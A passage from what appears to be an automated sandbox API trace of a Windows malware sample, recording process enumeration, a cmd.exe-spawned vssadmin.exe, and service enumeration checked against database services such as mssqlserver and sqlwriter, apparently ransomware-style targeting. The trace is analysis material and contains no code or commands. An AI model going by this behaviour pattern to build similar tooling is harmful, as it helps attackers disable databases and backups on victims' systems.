cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0059.282] lstrlenW (lpString="creativity.exe") returned 14 [0059.282] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0059.282] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0059.282] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0059.283] lstrlenW (lpString="edited.exe") returned 10 [0059.283] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0059.283] lstrlenW (lpString="custody.exe") returned 11 [0059.283] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0059.283] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0059.283] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0059.284] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0059.284] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0059.284] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0059.284] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0059.285] lstrlenW (lpString="radius.exe") returned 10 [0059.285] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0059.285] lstrlenW (lpString="extensions.exe") returned 14 [0059.285] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0059.285] lstrlenW (lpString="desperate.exe") returned 13 [0059.285] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0059.286] lstrlenW (lpString="professor-mo.exe") returned 16 [0059.286] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0059.286] lstrlenW (lpString="guidance.exe") returned 12 [0059.286] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0059.286] lstrlenW (lpString="week.exe") returned 8 [0059.286] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0059.286] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0059.287] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0059.287] lstrlenW (lpString="sn featured.exe") returned 15 [0059.287] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0059.287] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0059.287] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0059.287] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0059.287] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.288] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0059.288] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0059.288] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0059.288] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.294] lstrlenW (lpString="cmd.exe") returned 7 [0059.295] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.295] lstrlenW (lpString="conhost.exe") returned 11 [0059.295] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0059.295] lstrlenW (lpString="vssadmin.exe") returned 12 [0059.295] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0059.296] lstrlenW (lpString="VSSVC.exe") returned 9 [0059.296] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.296] lstrlenW (lpString="svchost.exe") returned 11 [0059.296] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0059.296] CloseHandle (hObject=0x3d4) returned 1 [0059.296] Sleep (dwMilliseconds=0x1f4) [0059.828] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297d38 [0059.850] EnumServicesStatusExW (in: hSCManager=0x3297d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0059.856] GetLastError () returned 0xea [0059.856] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x5400088 [0059.856] EnumServicesStatusExW (in: hSCManager=0x3297d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5400088, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5400088, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0059.856] CloseServiceHandle (hSCObject=0x3297d38) returned 1 [0059.857] lstrlenW (lpString="Appinfo") returned 7 [0059.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0059.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0059.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0059.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0059.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0059.881] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0059.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.882] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0059.882] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0059.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0059.882] lstrlenW (lpString="AudioSrv") returned 8 [0059.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0059.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0059.882] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0059.882] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0059.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0059.882] lstrlenW (lpString="BFE") returned 3 [0059.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0059.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0059.882] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0059.882] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0059.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0059.882] lstrlenW (lpString="CryptSvc") returned 8 [0059.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0059.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0059.882] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0059.882] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0059.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0059.882] lstrlenW (lpString="CscService") returned 10 [0059.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0059.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0059.882] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0059.882] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0059.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0059.882] lstrlenW (lpString="DcomLaunch") returned 10 [0059.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.882] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0059.882] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0059.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0059.882] lstrlenW (lpString="Dhcp") returned 4 [0059.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0059.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0059.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0059.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0059.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0059.883] lstrlenW (lpString="Dnscache") returned 8 [0059.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0059.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0059.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0059.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0059.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0059.883] lstrlenW (lpString="DPS") returned 3 [0059.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0059.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0059.883] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0059.883] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0059.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0059.883] lstrlenW (lpString="eventlog") returned 8 [0059.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0059.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0059.883] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0059.883] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0059.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0059.883] lstrlenW (lpString="EventSystem") returned 11 [0059.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0059.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0059.883] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0059.883] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0059.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0059.883] lstrlenW (lpString="gpsvc") returned 5 [0059.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0059.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0059.883] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0059.883] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0059.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0059.884] lstrlenW (lpString="iphlpsvc") returned 8 [0059.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.884] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0059.884] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0059.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0059.884] lstrlenW (lpString="LanmanServer") returned 12 [0059.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0059.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0059.884] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0059.884] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0059.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0059.884] lstrlenW (lpString="LanmanWorkstation") returned 17 [0059.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.884] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0059.884] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0059.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0059.884] lstrlenW (lpString="lmhosts") returned 7 [0059.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0059.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0059.884] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0059.884] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0059.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0059.884] lstrlenW (lpString="MMCSS") returned 5 [0059.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0059.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0059.884] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0059.884] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0059.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0059.884] lstrlenW (lpString="MpsSvc") returned 6 [0059.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0059.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0059.884] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0059.884] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0059.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0059.885] lstrlenW (lpString="Netman") returned 6 [0059.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0059.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0059.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0059.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0059.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0059.885] lstrlenW (lpString="netprofm") returned 8 [0059.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0059.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0059.885] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0059.885] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0059.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0059.885] lstrlenW (lpString="NlaSvc") returned 6 [0059.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0059.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0059.885] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0059.885] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0059.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0059.885] lstrlenW (lpString="nsi") returned 3 [0059.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0059.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0059.885] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0059.885] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0059.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0059.885] lstrlenW (lpString="PcaSvc") returned 6 [0059.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0059.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0059.885] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0059.885] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0059.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0059.885] lstrlenW (lpString="PlugPlay") returned 8 [0059.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0059.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0059.885] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0059.885] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0059.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0059.886] lstrlenW (lpString="Power") returned 5 [0059.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0059.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0059.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0059.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0059.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0059.886] lstrlenW (lpString="ProfSvc") returned 7 [0059.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0059.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0059.886] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0059.886] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0059.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0059.886] lstrlenW (lpString="RpcEptMapper") returned 12 [0059.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.886] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0059.886] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0059.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0059.886] lstrlenW (lpString="RpcSs") returned 5 [0059.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0059.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0059.886] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0059.886] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0059.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0059.886] lstrlenW (lpString="SamSs") returned 5 [0059.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0059.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0059.886] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0059.886] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0059.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0059.886] lstrlenW (lpString="Schedule") returned 8 [0059.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0059.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0059.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0059.887] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0059.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0059.887] lstrlenW (lpString="SENS") returned 4 [0059.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0059.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0059.887] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0059.887] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0059.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0059.887] lstrlenW (lpString="ShellHWDetection") returned 16 [0059.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.887] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0059.887] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0059.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0059.887] lstrlenW (lpString="Spooler") returned 7 [0059.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0059.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0059.887] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0059.887] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0059.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0059.887] lstrlenW (lpString="swprv") returned 5 [0059.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0059.887] lstrcmpiW 